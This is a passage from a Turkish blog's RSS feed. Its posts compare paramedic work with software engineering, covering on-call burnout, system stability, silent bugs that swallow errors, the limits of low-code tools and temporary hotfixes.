<p>İşin en korkunç tarafı nedir biliyor musunuz?<br>
Nöbetiniz bittikten sonra, hatta mesleğe ara verdiğiniz sivil bir günde bile; sokakta bir kafede kahve içerken yan caddeden geçen bir ambulansın o tanıdık siren sesini duyduğunuz an, elinizdeki kahve fincanı titrer. Beyniniz artık şartlanmıştır. O ses felakettir, o ses krizdir, o ses can pazarıdır.</p>
<p>Peki, laptoplarının başında "evden çalışan", klavye başındaki steril yazılımcıların sinir sistemi bu cehennemden muaf mıdır?</p>
<h3>Gece 03:20: PagerDuty'nin Kan Donduran Melodisi</h3>
<p>DevOps dünyasında veya yüksek trafikli sistemler yöneten şirketlerde çalışan herkes <strong>"On-Call" (Nöbetçilik)</strong> kavramını çok iyi bilir. Şirketin sistemleri 7/24 ayakta kalmalıdır ve bir mühendis her hafta o "nöbet meşalesini" devralır.</p>
<p>Telefonunuzun başucunda durduğu o geceyi düşünün.<br>
Saat 03:20. PagerDuty'nin veya Opsgenie'nin o meşhur, tiz, insanın sinir uçlarını rendeleyen alarm melodisi çalmaya başlar:<br>
<em>Trrrt-trrrt-trrrt! "CRITICAL: Payment Gateway latency > 5000ms. Error rate %84."</em></p>
<p>O an yatağın içinde yaşadığınız biyolojik tepki; ambulans istasyonunda ranzadan fırlayan bir paramediğin yaşadığı tepkiyle atomlarına kadar aynıdır.</p>
<p>Kalp çarpıntısı, boğazda kuruluk, soğuk bir ter tabakası ve o tarifsiz dehşet hissi... Bilgisayarın kapağını açarken parmaklarınız titrer. SSH şifrenizi üç kez yanlış yazarsınız. Slack kanalındaki o kırmızı acil durum etiketlerini (incident) okurken beyniniz adeta yanar.</p>
<p>Ve bunu haftalarca, aylarca yaşarsınız.</p>
<p>Sonunda ne olur? Şartlanma tamamlanır. Artık gündüz vakti telefonunuza gelen sıradan bir WhatsApp bildirimi, hatta Slack'in o masum "tok" sesi bile sizde hafif bir taşikardi ve irkilme yaratmaya başlar.</p>
<h3>Hayalet Bildirimler ve Alarm Yorgunluğu (Alert Fatigue)</h3>
<p>Bu şartlanmanın ikinci aşaması, tıpta uzuv kaybı yaşayanların hissettiği o hayalet ağrılar gibidir: <strong>Hayalet Bildirim Sendromu (Phantom Vibration Syndrome).</strong></p>
<p>Duşta suyun sesini dinlerken telefonun çaldığını sanırsınız. Markette alışveriş yaparken cebinizdeki telefon titrememiş olmasına rağmen eliniz panikle cebinize gider. Beyniniz artık sürekli bir kriz beklentisi (Hypervigilance) içindedir. Asla tam olarak dinlenemez, asla gardını indiremezsiniz. Çünkü bilinçaltınız bilir ki, o zil her an çalabilir ve dünya her an başınıza yıkılabilir.</p>
<p>Daha kötüsü, zamanla <strong>Alarm Yorgunluğu (Alert Fatigue)</strong> başlar.</p>
<p>Sistemler o kadar kötü kurgulanmıştır ki, gecede 40 tane önemsiz alarm (false positive) gelir: Disk doluluğu %81 oldu, CPU 10 saniyeliğine yükseldi, önemsiz bir mikroservis yeniden başladı... Tıpkı gereksiz yere öten yangın alarmları gibi, bir süre sonra insan beyni kendini korumak için hissizleşir.</p>
<p>Ve o kaçınılmaz gün gelir: Gerçek bir felaket yaşandığında, yorgun düşmüş ve hissizleşmiş olan mühendis o bildirimi duymaz veya erteleye (snooze) basar. Sistem tamamen çöker.</p>
<h3>Tükenmişliği Romantize Etmeyi Bırakın</h3>
<p>Teknoloji şirketlerinin kariyer sayfalarında "Hızlı tempolu ortam", "Yüksek sahiplenme duygusu", "Esnek çalışma" gibi süslü laflarla pazarlanan şey; aslında çalışanların sinir sistemlerinin acımasızca sömürülmesidir.</p>
<p>Bir insanın 24 saat boyunca bir zil sesine şartlanmış halde, alarm tetikte yaşaması insan biyolojisine aykırıdır. İnsan bedeni, sürekli bir tehdit altında yaşamak için tasarlanmamıştır. Kronik kortizol salgısı uykunuzu çalar, bağışıklığınızı çökertir, hafızanızı zayıflatır ve sonunda sizi bir enkaz olarak bırakır.</p>
<p>Ambulansta öğrendiğim en değerli kural şuydu: <strong>Nöbet bittiğinde telsizi teslim edersin ve o kapıdan çıkar gidersin.</strong> Telsizi eve götürmezsin.</p>
<p>Yazılımda da aynı disiplini kurmak zorundasınız.<br>
Nöbetiniz bittiğinde o bildirimleri kapatabilmelisiniz.<br>
Şirketlerin, geceleri mühendisleri uyandırmayan self-healing (kendi kendini onaran) mimarilere yatırım yapmasını talep etmelisiniz.<br>
Ve en önemlisi; ekran başında sabahlamayı bir "kahramanlık madalyası" gibi görmeyi bırakmalısınız.</p>
<p>Çünkü Pavlov'un köpeği o deneyin sonunda sadece bir parça et alıyordu.<br>
Siz ise tükenmiş bir sinir sistemi ve yıpranmış bir kalpten başka hiçbir şey kazanamazsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>on-call</category>
            <category>pagerduty</category>
            <category>paramedik</category>
            <category>pavlov</category>
            <category>mental-health</category>
            <category>burnout</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ambulans-sirenleri-ve-bildirim-sesleri-pavlov-sartlanmasi-olarak-nobet-psikolojisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[EKG Çizgisi ve Sinüs Ritmi: Monotonluk Aslında Hayatta Olmanın Kanıtıdır]]></title>
            <link>http://localhost:3000/blog/post/ekg-cizgisi-ve-sinus-ritmi-monotonluk-aslinda-hayatta-olmanin-kanitidir</link>
            <guid>ekg-cizgisi-ve-sinus-ritmi-monotonluk-aslinda-hayatta-olmanin-kanitidir</guid>
            <pubDate>Sun, 16 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[EKG cihazındaki düz bir çizgi ölümü, sürekli inip çıkan dalgalar ise canlılığı temsil eder. Yazılımda ve kariyerde monotonluk zaman zaman sıkıcı gelse de, aslında sistemin kararlı ve sağlıklı çalıştığının en büyük göstergesidir.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ekg-cizgisi-ve-sinus-ritmi-monotonluk-aslinda-hayatta-olmanin-kanitidir/thumbnail" alt=""> Hastanelerin yoğun bakım ünitelerinde veya bir acil yardım ambulansının monitöründe duyduğunuz o tanıdık, mekanik ritmi gözünüzün önüne getirin:<br>
<em>Bip... Bip... Bip...</em></p>
<p>Ekranda yeşil bir ışık çizgisi soldan sağa doğru akar. Önce küçük bir tepe (P dalgası), ardından keskin ve yüksek bir sıçrama (QRS kompleksi), sonra yumuşak bir iniş (T dalgası) ve kısa bir düzlük. Ve bu döngü; dakikada 70 kez, saatte 4 bin 200 kez, günde 100 bin kez, hiçbir sürprize yer bırakmadan, milisaniyelik bir intizamla kendini tekrar eder.</p>
<p>Tıpta buna <strong>Normal Sinüs Ritmi</strong> denir.</p>
<p>Bu ritim acımasızca sıkıcıdır. İçinde hiçbir sanatsal sürpriz, hiçbir beklenmedik iniş çıkış, hiçbir drama yoktur. Tamamen monoton, öngörülebilir ve mekanik bir tekrardır.</p>
<p>Peki, bir EKG monitöründe heyecan ve aksiyon ne zaman başlar biliyor musunuz?<br>
Kalp ritmi bozulduğunda. Çizgiler deliler gibi savrulmaya başladığında (Ventriküler Fibrilasyon), dalgalar sivrilip kontrolden çıktığında (Taşikardi) veya o çizgi tamamen dümdüz olup tiz bir alarm sesi odayı inlettiğinde (Asistol).</p>
<p>Monitörde dramanın, sürprizin ve adrenalin patlamasının olduğu an; bir insanın ölmekte olduğu andır.<br>
Monotonluk ise hayatta olmanın, organların uyum içinde çalışmasının ve sağlığın yegane kanıtıdır.</p>
<p>Şimdi bu biyolojik gerçeği alın ve modern teknoloji dünyasının, yazılım ekiplerinin ve kariyer hedeflerimizin tam ortasına koyun.</p>
<h3>Yazılım Dünyasının Tehlikeli Heyecan Bağımlılığı</h3>
<p>Teknoloji sektörü, özellikle de yeni nesil start-up kültürü, hastalıklı bir "aksiyon ve kaos bağımlılığı" ile maluldür.</p>
<p>LinkedIn'deki gönderilere, teknoloji bloglarına ve konferans konuşmalarına bakın. Herkes kriz çözme kahramanlıklarını anlatır: <em>"Black Friday'de 10 milyon isteği nasıl karşıladık?", "Gece 04:00'te çöken Kubernetes kümesini nasıl kurtardık?", "Tüm mimariyi bir gecede Go ile sıfırdan nasıl yazdık?"</em></p>
<p>Bir şirkette sürekli yangın çıkması, geceleri prod sunucularının patlaması, mühendislerin gözleri kan çanağı halde sabahlara kadar hotfix atması; garip bir şekilde "çalışkanlık" ve "başarı" göstergesi gibi pazarlanır. Şirket içi kahramanlar genellikle o yangını çıkaran kötü mimariyi kuranlar değil; yangın çıktığında itfaiyeci gibi koşanlardır.</p>
<p>Oysa gerçek mühendislik bu değildir.</p>
<p>Gerçek mühendislik; <strong>o yangının hiç çıkmamasını sağlayacak kadar sıkıcı, sağlam ve monoton bir sistem inşa edebilmektir.</strong></p>
<p>İyi tasarlanmış bir yazılım altyapısı tıpkı o sağlıklı sinüs ritmi gibidir:</p>
<ul>
<li>Dağıtımlar (deployment) Salı sabahı saat 10'da, kimsenin tansiyonu yükselmeden, tek bir tuşla yapılır.</li>
<li>Veritabanı CPU kullanımı %30 civarında sakin sakin dalgalanır.</li>
<li>Yedekler (backup) gece yarısı sessizce alınır ve doğrulanır.</li>
<li>Log dosyalarında kırmızı satırlar uçuşmaz; sadece düzenli, ritmik ve yeşil akışlar vardır.</li>
<li>Nöbetçi mühendis gece mışıl mışıl uyur.</li>
</ul>
<p>Ve ne yazık ki, sektördeki bazı toy mühendisler ve vizyonsuz yöneticiler bu huzuru "tembellik" veya "gelişmemek" zanneder.</p>
<h3>Çalışan Kodu Dürtme Hastalığı</h3>
<p>Mühendislik ekiplerinde sıkça karşılaştığım trajik bir sendrom vardır: Sistem kusursuz, stabil ve monoton bir şekilde çalışıyordur. Ancak ekipteki bazı geliştiriciler sırf sıkıldıkları için, sırf CV'lerine yeni bir teknoloji yazabilmek için çalışan sisteme müdahale etmeye başlar:</p>
<p><em>"PostgreSQL bize yetiyor ama bunu bir de event-driven yapıp araya Kafka koysak mı?"</em><br>
<em>"Monolitik uygulamamız tıkır tıkır çalışıyor ama bunu 16 tane mikroservise bölsek daha havalı olmaz mı?"</em><br>
<em>"Bu kütüphane 5 yıldır sorunsuz çalışıyor, gelin bunu dün GitHub'da gördüğüm deneysel bir Rust framework'ü ile değiştirelim."</em></p>
<p>Bu tavır; sağlıklı bir kalple, göğsünde kusursuz bir sinüs ritmiyle yaşayan bir insanın göğsünü yarıp, <em>"Şu kalbi biraz kurcalayalım, belki dakikada 200 vurdurursak daha heyecanlı olur"</em> demesiyle aynı zihinsel patolojidir.</p>
<p>Sonuç? Stabil sinüs ritmini bozarsınız; sistemi taşikardiye ve fibrilasyona sokarsınız. Sonra da hafta sonu patlayan servisleri kurtarmak için kahramanlık hikayeleri yazarsınız.</p>
<h3>Sıkıcı Olmanın Erdemi</h3>
<p>Bir sistemin ya da bir insanın hayatındaki en büyük olgunluk seviyesi, <strong>monotonluğun kıymetini bilmektir.</strong></p>
<p>Kariyerinizde her gün yeni bir devrim yapmak, her gün dünyayı kurtarmak zorunda değilsiniz. Büyük ustalık; o sinüs ritmi gibi her gün masaya oturup, temiz kod yazmak, testleri ihmal etmemek, dokümantasyonu güncellemek ve iş arkadaşlarına karşı sabırlı ve tutarlı olabilmektir. Bu sıkıcı disiplin, uzun vadede bütün o parlak ve gürültülü hevesleri ezer geçer.</p>
<p>Dan Geer'in ünlü bir siber güvenlik aforizması vardır:<br>
<em>"Eğer bir sistem mükemmel çalışıyorsa, kimse onun çalıştığını fark etmez bile."</em></p>
<p>Bir dahaki sefere monitörünüze baktığınızda, sunucularınızın sorunsuz çalıştığı ve hiçbir Slack alarmının çalmadığı o sakin, sessiz günlerde içinizden <em>"Bugün de hiçbir aksiyon yok, ne kadar sıkıcı bir gün"</em> diye geçirirseniz; o yeşil EKG çizgisini hatırlayın.</p>
<p>Heyecanın ve aksiyonun tavan yaptığı yer acil serviste travma odası, yazılımda ise prod çöküşüdür.<br>
Monotonluk ise sisteminizin yaşadığının, kalbinizin sağlıklı attığının ve her şeyin yolunda olduğunun en kutsal belgesidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ekg</category>
            <category>sinus-ritmi</category>
            <category>monotonluk</category>
            <category>kariyer</category>
            <category>felsefe</category>
            <category>stabilite</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ekg-cizgisi-ve-sinus-ritmi-monotonluk-aslinda-hayatta-olmanin-kanitidir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Gözden Kaçan Semptom": Silent Hypoxia ve İlla Kırmızı Error Vermeyen Sessiz Bug'lar]]></title>
            <link>http://localhost:3000/blog/post/gozden-kacan-semptom-silent-hypoxia-ve-illa-kirmizi-error-vermeyen-sessiz-buglar</link>
            <guid>gozden-kacan-semptom-silent-hypoxia-ve-illa-kirmizi-error-vermeyen-sessiz-buglar</guid>
            <pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tıpta Sessiz Hipoksi vakaları en korkutucu tablolardandır. Yazılımda da exception fırlatmayan, log düşürmeyen ama veritabanında sessizce veri bozan "Silent Bug"ların yarattığı sinsi tehlike üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gozden-kacan-semptom-silent-hypoxia-ve-illa-kirmizi-error-vermeyen-sessiz-buglar/thumbnail" alt=""> 2020 yılının o kasvetli pandemi günlerinde, acil servislerde ve ambulanslarda tıp dünyasını dehşete düşüren çok tuhaf, sinsi ve ürpertici bir klinik tabloyla karşılaştık. Tıp literatüründeki adı: <strong>"Silent Hypoxia" (Sessiz Hipoksi)</strong> veya bazılarının taktığı isimle <em>"Happy Hypoxia"</em>.</p>
<p>Normal fizyolojide insan kanındaki oksijen doygunluğu (SpO2) %95'in altına indiğinde beden hemen alarm verir; %85'in altına indiğinde ise nefes darlığından boğuluyormuş gibi çırpınır, panikler ve soluk soluğa kalırsınız. Çünkü kandaki karbondioksit birikir ve beyin göğüs kaslarına çılgınca <em>"Daha hızlı nefes al!"</em> emri gönderir.</p>
<p>Ancak bu sessiz hipoksi vakalarında bambaşka bir kabus yaşanıyordu.<br>
Ambulansla hastanın evine gidiyordunuz; hasta yatağında oturmuş, elinde telefonuyla sosyal medyada geziniyor, sizinle gayet sakin bir ses tonuyla sohbet ediyordu: <em>"Biraz halsizliğim var o kadar, nefes darlığım yok."</em><br>
Sonra parmağına nabız oksimetresini takıyordunuz. Cihazın ekranında beliren rakam kanınızı donduruyordu: <strong>%68.</strong></p>
<p>Tıbben %68 oksijen seviyesi, bir insanın bilincini kaybedip komaya girmesi gereken bir ölüm eşiğidir. Ama hastanın beyni o alarmı çalmıyordu. Beden çığlık atmıyordu. Ve o sakin sakin konuşan hasta, 15 dakika sonra ambulansın içinde aniden solunum arrestine giriyor, morarıyor ve kalbi duruyordu.</p>
<p>Sessiz hipoksi tıbbın en tehlikeli katilidir; çünkü <strong>semptomsuz bir çöküştür.</strong></p>
<p>Peki, yazılım sistemlerindeki bug'ları düşündüğünüzde; sizi en çok korkutması gereken şey nedir?</p>
<h3>Kırmızı Hatalar Sizin Dostunuzdur</h3>
<p>Geliştiricilerin çoğu, terminalde veya monitoring ekranlarında kırmızı renkli devasa hata logları gördüğünde strese girer:<br>
<code>Fatal Error: NullPointerException</code>, <code>HTTP 500 Internal Server Error</code>, <code>Database connection refused</code>...</p>
<p>Oysa gerçek bir sistem mühendisi bilir ki, <strong>bağıran hata dürüst bir hatadır.</strong></p>
<p>Kırmızı log fırlatan, sistemi anında durduran veya kullanıcıya açıkça <em>"İşleminiz yapılamadı"</em> diyen bir bug; göğsü sıkışan ve acıdan bağıran bir hasta gibidir. Sorunun nerede olduğunu anında bilirsiniz. Sentry alarmı çalar, Slack kanalına bildirim düşer, nöbetçi mühendis uyanır ve o hatayı yarım saat içinde düzeltir. Hasar anlıktır, görünürdür ve sınırlıdır.</p>
<p>Yazılım dünyasının asıl ölümcül kanseri ise <strong>"Silent Bug" (Sessiz Hatalar)</strong> dediğimiz, arkasında hiçbir kırmızı log bırakmayan o sinsi anomalilerdir.</p>
<h3>Sessiz Katilin Anatomisi: Hata Yutma (Swallowed Errors)</h3>
<p>Sessiz hataların en yaygın üreme alanı, acemi veya tembel geliştiricilerin yazdığı o meşhur kod bloklarıdır:</p>
<pre><code class="language-javascript">try {
  processPaymentAndInvoice(user, cart);
} catch (error) {
  // TODO: Burayı sonra loglayalım
  return { status: 200, success: true };
}
</code></pre>
<p>Bu kod parçası, yazılım mimarisine enjekte edilmiş saf bir sessiz hipoksidir.<br>
Ödeme işlemi patlamıştır, veritabanına fatura yazılamamıştır, üçüncü parti API zaman aşımına uğramıştır. Ama sistem hiçbir hata fırlatmaz. HTTP cevabı olarak güleç bir yüzle <code>200 OK</code> döner. Monitoring araçlarınız (Datadog, Grafana) masmavidir; CPU düşüktür, hata oranı sıfırdır, dashboard'unuz <em>"Tüm Sistemler Mükemmel Çalışıyor"</em> der.</p>
<p>Ama arka planda, sessizce kangren büyüyordur.<br>
Kullanıcıdan para çekilmiştir ama sipariş oluşmamıştır. Ya da daha kötüsü, sipariş kargoya verilmiştir ama müşterinin kartından para tahsil edilememiştir.</p>
<p>Ve bu sessiz sızıntı; bir saat, bir gün değil; aylarca devam eder. Ta ki mali yıl sonunda muhasebeciler hesapları kapattığında ve şirketin kasasında 5 milyon liralık bir kara delik açıldığı fark edilene kadar. O gün geldiğinde ne bir log kaydı bulabilirsiniz, ne de o hatanın ne zaman başladığını tespit edebilirsiniz. Sistem ayakta dururken içten içe iflas etmiştir.</p>
<h3>Kayan Nokta (Floating Point) ve Sessiz Veri Zehirlenmesi</h3>
<p>Sessiz bug'ların bir diğer kabusu, veri bozulmasıdır (data corruption).</p>
<p>Bir e-ticaret veya fintech uygulamasında para birimlerini hesaplarken yanlış veri tipi kullandığınızı düşünün. <code>Decimal</code> veya <code>BigInt</code> yerine standart <code>Float</code> tipi kullanılmıştır. Her işlemde kuruşun binde biri kadar bir yuvarlama sapması oluşuyordur: 0.0001 TL.</p>
<p>Hiçbir sunucu çökmez. Hiçbir kullanıcı şikayet etmez. Hiçbir exception fırlatılmaz. Ama sistem her saniye on binlerce işlem yaptıkça, o binde birler birikir, birikir ve veritabanındaki finansal mutabakat tablolarını zehirler. Bir yıl sonra o veritabanındaki rakamların hiçbiri birbirini tutmaz hale gelir.</p>
<p>Bu, vücutta yavaş yavaş biriken ağır metal zehirlenmesine benzer. Hasta yürümeye devam eder, yemek yer, güler; ama karaciğeri ve böbrekleri hücre hücre ölüyordur.</p>
<h3>Sessiz Hipoksiyi Nasıl Teşhis Ederiz?</h3>
<p>Sessiz hipoksiden korunmanın tek yolu, hastanın dış görünüşüne güvenmemek ve parmağına o oksimetre probunu takıp <strong>kanın gerçek kimyasına (vital verilere)</strong> bakmaktır.</p>
<p>Yazılımda da sessiz bug'lardan korunmanın yolu; sadece HTTP 500 hatalarını sayan yüzeysel monitoring araçlarına güvenmeyi bırakmaktır:</p>
<ol>
<li><strong>İş Mantığı Anomalilerini İzleyin (Business Metric Observability):</strong> Sadece sunucu sağlığına değil, iş metriklerine bakın. Eğer bir e-ticaret sitesinde saatte ortalama 500 sipariş alınıyorsa ve bu rakam aniden saatte 20'ye düşmüşse; ama sunucularda tek bir hata bile yoksa, ortada sessiz bir hipoksi vardır.</li>
<li><strong>Hataları Asla Yutmayın:</strong> Bir hata yakalandığında (catch) onu sessizce örtbas etmek, bir cinayete ortak olmaktır. Hata ya güvenli bir şekilde yukarı fırlatılmalı (re-throw) ya da görünür şekilde loglanmalıdır.</li>
<li><strong>Veri Bütünlüğü Doğrulamaları (Reconciliation Jobs):</strong> Her gece çalışan ve sistemdeki girdiler ile çıktıları matematiksel olarak karşılaştıran sessiz dedektifler (cron job'lar) kurun. Kasadaki para ile veritabanındaki sipariş toplamı tutuyor mu?</li>
</ol>
<p>Ses çıkaran hata sizi uykunuzdan uyandırır; ona kızmayın, teşekkür edin.<br>
Ama hiçbir ses çıkarmayan, monitörleri yeşil gösterip sistemi içten içe kemiren o sessiz anomalilerden korkun.</p>
<p>Çünkü bir sistemin sessizce ölmesi; bağıra çağıra çökmesinden her zaman bin kat daha maliyetlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>debugging</category>
            <category>silent-hypoxia</category>
            <category>silent-bugs</category>
            <category>observability</category>
            <category>paramedik</category>
            <category>veri-butunlugu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gozden-kacan-semptom-silent-hypoxia-ve-illa-kirmizi-error-vermeyen-sessiz-buglar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Otomatik Dış Şok Cihazı (OED/AED) ve Low-Code / No-Code Araçları]]></title>
            <link>http://localhost:3000/blog/post/otomatik-dis-sok-cihazi-oedaed-ve-low-code--no-code-araclari</link>
            <guid>otomatik-dis-sok-cihazi-oedaed-ve-low-code--no-code-araclari</guid>
            <pubDate>Fri, 14 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[AED cihazları, tıp eğitimi olmayan birinin bile bir insana şok verip hayat kurtarmasını sağlayan harika otomasyonlardır. Tıpkı yazılım dünyasındaki Low-Code araçları gibi. Peki bu araçlar ne zaman yetersiz kalır ve profesyonel müdahale gerekir?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/otomatik-dis-sok-cihazi-oedaed-ve-low-code--no-code-araclari/thumbnail" alt=""> Havaalanlarında, büyük metro istasyonlarında, tren garlarında veya alışveriş merkezlerinin duvarlarında asılı duran o yeşil, parlak kutuları mutlaka görmüşsünüzdür. Üzerinde kalp ve şimşek simgesi vardır: <strong>OED / AED (Otomatik Eksternal Defibrilatör).</strong></p>
<p>Bu cihazlar, biyomedikal mühendisliğin insanlığa sunduğu en muazzam demokratikleşme harikalarından biridir.</p>
<p>Normalde bir defibrilatör; bir paramediğin veya acil hekiminin yıllarca eğitim alarak EKG dalgalarını okuduğu, ventriküler fibrilasyon ile asistolü birbirinden ayırt ettiği, doğru enerji seviyesini (Joule) ayarlayıp pedallarla elektrik akımı verdiği karmaşık ve tehlikeli bir tıbbi silahtır. Yanlış bir ritme şok verirseniz çalışan kalbi durdurabilirsiniz.</p>
<p>Ancak duvarda asılı duran o küçük AED kutusu öyle tasarlanmıştır ki; hayatında hiç tıp kitabı açmamış, ilk yardım eğitimi bile almamış sıradan bir vatandaş kapağı açtığı an, cihaz sakin bir insan sesiyle konuşmaya başlar:<br>
<em>"Sakin olun. Pedleri hastanın çıplak göğsüne şekilde gösterildiği gibi yapıştırın. Hastaya dokunmayın, ritim analiz ediliyor... Şok tavsiye ediliyor. Yanıp sönen turuncu düğmeye basın."</em></p>
<p>Cihaz kendi içinde EKG analizini yapar, yapay zekasıyla ritmi doğrular, gerekirse elektriği depolar ve tek bir tuşla kalbi duran insanı hayata döndürür. Tıbbi yetkinliği, sıradan insanın parmak uçlarına indirir.</p>
<p>Peki, şimdi gözlerimizi teknoloji dünyasına çevirelim: <strong>Low-Code ve No-Code araçları (Webflow, Bubble, Zapier, Retool, Make) tam olarak bu değil midir?</strong></p>
<h3>Yazılımın Demokratikleşmesi: Herkes Sistem Kurabilir</h3>
<p>Yazılım dünyası uzun yıllar boyunca kapalı bir lonca gibiydi. Basit bir e-ticaret sitesi açmak, bir form doldurup veritabanına kaydetmek veya iki servis arasında veri transferi yapmak için bile aylarca süren yazılım geliştirme süreçlerine, pahalı mühendislere ve karmaşık sunucu kurulumlarına muhtaçtınız.</p>
<p>Bugün ise Bubble veya Webflow ile birkaç gün içinde çalışan bir prototip (MVP) çıkarabiliyorsunuz. Zapier ile tek satır Python/Node.js kodu yazmadan Stripe ödemesini Google Sheets'e bağlayıp oradan müşteriye otomatik e-posta ve fatura gönderebiliyorsunuz. Retool ile şirketinizin iç operasyon panellerini sürükle-bırak yöntemle inşa edebiliyorsunuz.</p>
<p>Tıpkı havaalanında yere yığılan birine AED cihazını takan güvenlik görevlisi gibi; bir pazarlamacı veya bir ürün yöneticisi de hiçbir yazılım eğitimi olmadan çalışan bir dijital mekanizma kurabiliyor.</p>
<p>Bu devrim niteliğinde bir kolaylıktır. Fikirlerin hızla test edilmesini sağlar, geliştirme maliyetlerini sıfırlar ve inovasyonun önündeki bürokratik engelleri yıkar.</p>
<p>Ama madalyonun diğer yüzünde, görmezden gelinen çok tehlikeli bir yanılsama yatar.</p>
<h3>Cihaz Şoku Verir Ama Ameliyat Yapamaz</h3>
<p>Acil tıpta herkesin çok iyi bildiği bir sınır vardır:<br>
Bir AED cihazı ile ventriküler fibrilasyondaki bir kalbe şok verip hastayı o anlık ölümden döndürebilirsiniz. Bu, hastaneye ulaşana kadar zaman kazandıran muhteşem bir ilk müdahaledir.</p>
<p>Ama o cihaz;</p>
<ul>
<li>Hastanın tıkalı koroner damarını açamaz (anjiografi yapamaz),</li>
<li>Kanda biriken asidozu ve elektrolit dengesizliğini düzeltemez,</li>
<li>Beyin ödemini engelleyecek medikal tedaviyi uygulayamaz.</li>
</ul>
<p>Eğer hastanın başına gelen kişi, <em>"Şoku verdik, kalbi çalıştı, artık doktora veya ambulansa gerek yok, kalkıp evine gidebilir"</em> derse; o hasta yarım saat sonra tekrar arrest olur ve bu kez kurtarılamaz. AED bir ameliyathane değildir; bir acil durum köprüsüdür.</p>
<p>Yazılımda da No-Code araçlarıyla inşa edilen sistemler tam olarak bu eşikte duvara toslar.</p>
<p>Bir girişimci No-Code ile ilk 500 kullanıcısını karşılar ve her şey harika görünür. Ancak kullanıcı sayısı 50 bine çıktığında, saniyede yüzlerce eşzamanlı işlem (concurrency) başladığında veya veri tabanı milyonlarca satıra ulaştığında o sevimli görsel bloklar çatırdamaya başlar:</p>
<ul>
<li>Zapier kotaları biter ve fatura binlerce dolara fırlar,</li>
<li>Karmaşık bir iş mantığı (business logic) gerektiğinde sürükle-bırak arayüzü çaresiz kalır,</li>
<li>Veritabanı sorguları dakikalarca sürer ve sistem kilitlenir,</li>
<li>Ve en kötüsü, arayüzün arkasındaki güvenlik açıkları (açık bırakılan API anahtarları, yetkilendirmesi yapılmamış veritabanı uçları) şirket için ölümcül bir veri sızıntısına (data breach) dönüşür.</li>
</ul>
<p>O an anlarsınız ki, No-Code ile bir yazılım şirketi inşa ettiğinizi sanırken; aslında sadece birbirine bantla yapıştırılmış yüzlerce kırılgan plastik borunun üzerinde yürüyormuşsunuzdur.</p>
<h3>Otomasyonun Sınırlarını Bilmek</h3>
<p>Low-Code / No-Code araçları kesinlikle birer oyuncak veya geçici heves değildir. Onlar, doğru ellerde kullanıldığında şirketlerin aylar sürecek işlerini günlere indiren muazzam kaldıraçlardır.</p>
<p>Ancak kritik ayrım şudur: <strong>Bir aracın nasıl kullanılacağını bilmek ile, o aracın arkasında çalışan temel prensipleri kavramak aynı şey değildir.</strong></p>
<p>AED cihazının sesli komutlarını dinleyip düğmeye basmak sizi bir kardiyolog yapmaz.<br>
Webflow'da kutuları sürükleyip bırakmak da sizi bir sistem mimarı yapmaz.</p>
<p>Gerçek bir mühendis; ne zaman No-Code ile hızlı bir ilk müdahale (AED şoku) yapacağını bilir, ama sistem büyüdüğünde ne zaman neşteri eline alıp derin mimari ameliyatına (özel yazılmış servisler, optimize edilmiş veritabanları, güçlü güvenlik mimarisi) geçmesi gerektiğini de çok iyi bilir.</p>
<p>Otomasyon hayat kurtarır; ama sadece sınırlarını ve nerede duracağını bilenlerin ellerinde.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>low-code</category>
            <category>no-code</category>
            <category>aed</category>
            <category>otomasyon</category>
            <category>paramedik</category>
            <category>yazilim-tasarimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/otomatik-dis-sok-cihazi-oedaed-ve-low-code--no-code-araclari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Geçici Çözüm" (Band-Aid Fix) ve Kronik Tedavi: Turnike Sıkarak Proje Yönetilmez]]></title>
            <link>http://localhost:3000/blog/post/gecici-cozum-band-aid-fix-ve-kronik-tedavi-turnike-sikarak-proje-yonetilmez</link>
            <guid>gecici-cozum-band-aid-fix-ve-kronik-tedavi-turnike-sikarak-proje-yonetilmez</guid>
            <pubDate>Thu, 13 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sahada kanamayı durdurmak için atılan turnike hastaya zaman kazandırır; ama bacağı sonsuza kadar turnikede bırakamazsınız. Yazılımda geçici hotfix'lerin kalıcı tedavi zannedilmesi üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gecici-cozum-band-aid-fix-ve-kronik-tedavi-turnike-sikarak-proje-yonetilmez/thumbnail" alt=""> Bir kaza mahallinde veya patlama bölgesinde, bir insanın bacağındaki atardamar (femoral arter) yırtıldığında fışkıran o parlak kırmızı kanı durdurmak için tıp kitaplarındaki nazik pansumanlar işe yaramaz. O an yapılacak tek bir şey vardır: Çantadan siyah askeri turnikeyi (CAT Tourniquet) çıkarır, yaranın birkaç parmak üzerine sarar ve çubuğunu kanama tamamen durana kadar acımasızca sıkarsınız.</p>
<p>Turnike, acil tıbbın en mucizevi hayat kurtarıcılarından biridir. Hastanın dakikalar içinde kan kaybından ölmesini saniyeler içinde engeller.</p>
<p>Ama turnikeyi sıktığınız an, kıdemli bir paramedik cebinden beyaz bir bant veya kalıcı bir asetat kalemi çıkarır. Turnikenin üzerine ya da doğrudan hastanın alnına devasa harflerle bir şey yazar: <strong>T: 14:35 (Uygulama Saati).</strong></p>
<p>Neden mi?</p>
